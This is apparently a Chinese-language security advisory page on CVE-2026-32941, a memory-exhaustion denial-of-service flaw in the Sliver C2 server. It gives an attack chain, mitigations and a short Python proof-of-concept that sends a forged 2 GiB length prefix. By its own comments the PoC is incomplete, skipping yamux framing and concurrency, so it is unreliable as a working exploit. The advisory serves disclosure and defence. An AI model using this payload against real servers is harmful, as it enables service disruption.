IPBUF安全漏洞报告
English
CVE-2026-32941 CVSS 6.5 中危

CVE-2026-32941 Sliver C2 远程内存耗尽漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32941
漏洞类型
拒绝服务, 内存耗尽
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Sliver

相关标签

DoSSliverC2OOMRemote

漏洞概述

Sliver是一个命令与控制(C2)框架,其1.7.3及以下版本中存在严重的远程内存耗尽(OOM)漏洞。该漏洞位于Sliver C2服务器的mTLS和WireGuard C2传输层。攻击者可通过已植入的代理或有效凭证,利用并发yamux流发送伪造的长度前缀数据包。由于服务器信任攻击者控制的长度前缀进行内存分配,攻击者可诱导服务器尝试分配约256 GiB的巨大内存,从而触发操作系统的OOM Killer机制,导致服务器崩溃及所有活动会话中断。

技术细节

该漏洞的核心原因在于Sliver C2服务器中的`socketReadEnvelope`和`socketWGReadEnvelope`函数未对输入数据包的长度前缀进行充分验证。这两个函数直接使用攻击者可控的4字节长度前缀来申请内存,且配置中的`ServerMaxMessageSize`允许单次分配高达约2 GiB的内存。攻击者利用合法的身份验证建立连接后,可通过单个连接开启多达128个并发的yamux流,并在每个流中发送伪造的大数值长度前缀。这种并发攻击会迫使服务器尝试分配总计约256 GiB的内存,迅速耗尽系统资源,导致操作系统强制杀死Sliver服务进程,造成拒绝服务。此外,客户端植入程序的读取器也存在无上限检查的问题。

攻击链分析

STEP 1
1. 初始访问
攻击者获取Sliver基础设施的有效凭据,或者攻破了一个已植入的Implant。
STEP 2
2. 建立连接
攻击者使用mTLS或WireGuard传输层连接到Sliver C2服务器。
STEP 3
3. 恶意构造
在单个连接上建立多个并发yamux流(最多128个),准备发送恶意数据。
STEP 4
4. 触发漏洞
向每个并发流发送特制的数据包,包含指向巨大内存大小(约2GB)的伪造长度前缀。
STEP 5
5. 资源耗尽与崩溃
服务器尝试为所有流分配总计约256GB的内存,触发操作系统OOM Killer,导致Sliver服务进程崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct import time # Target configuration TARGET_HOST = '192.168.1.100' TARGET_PORT = 8888 # Default Sliver C2 port (example) NUM_STREAMS = 128 # Max concurrent yamux streams mentioned # Max message size allowed is ~2GB, we send a large value to trigger OOM # 2GB = 2147483648 bytes MALICIOUS_SIZE = 2147483648 def send_malicious_packet(): try: # Establish TCP connection to Sliver C2 print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # Simulate sending the length prefix (Big Endian) # The server reads 4 bytes as length and allocates memory accordingly payload_prefix = struct.pack('>I', MALICIOUS_SIZE) print(f"[*] Sending malicious length prefix: {MALICIOUS_SIZE} bytes") s.sendall(payload_prefix) # Keep connection open to prevent immediate reset during allocation attempt # Real exploitation might involve yamux protocol framing print("[*] Packet sent, waiting for server response/timeout...") time.sleep(5) except Exception as e: print(f"[!] Error: {e}") finally: s.close() if __name__ == "__main__": # In a real attack, this would be looped or threaded for NUM_STREAMS send_malicious_packet()

影响范围

Sliver <= 1.7.3

防御指南

临时缓解措施
目前该漏洞尚未修复。建议通过限制对Sliver服务器的入站连接来源来降低风险,仅允许受信任的管理员IP访问。在操作系统层面,可以为Sliver进程配置内存限制(Cgroups或ulimit),以防止其耗尽全部系统资源导致主机死机。同时,应加强C2凭证的安全管理,防止凭证泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表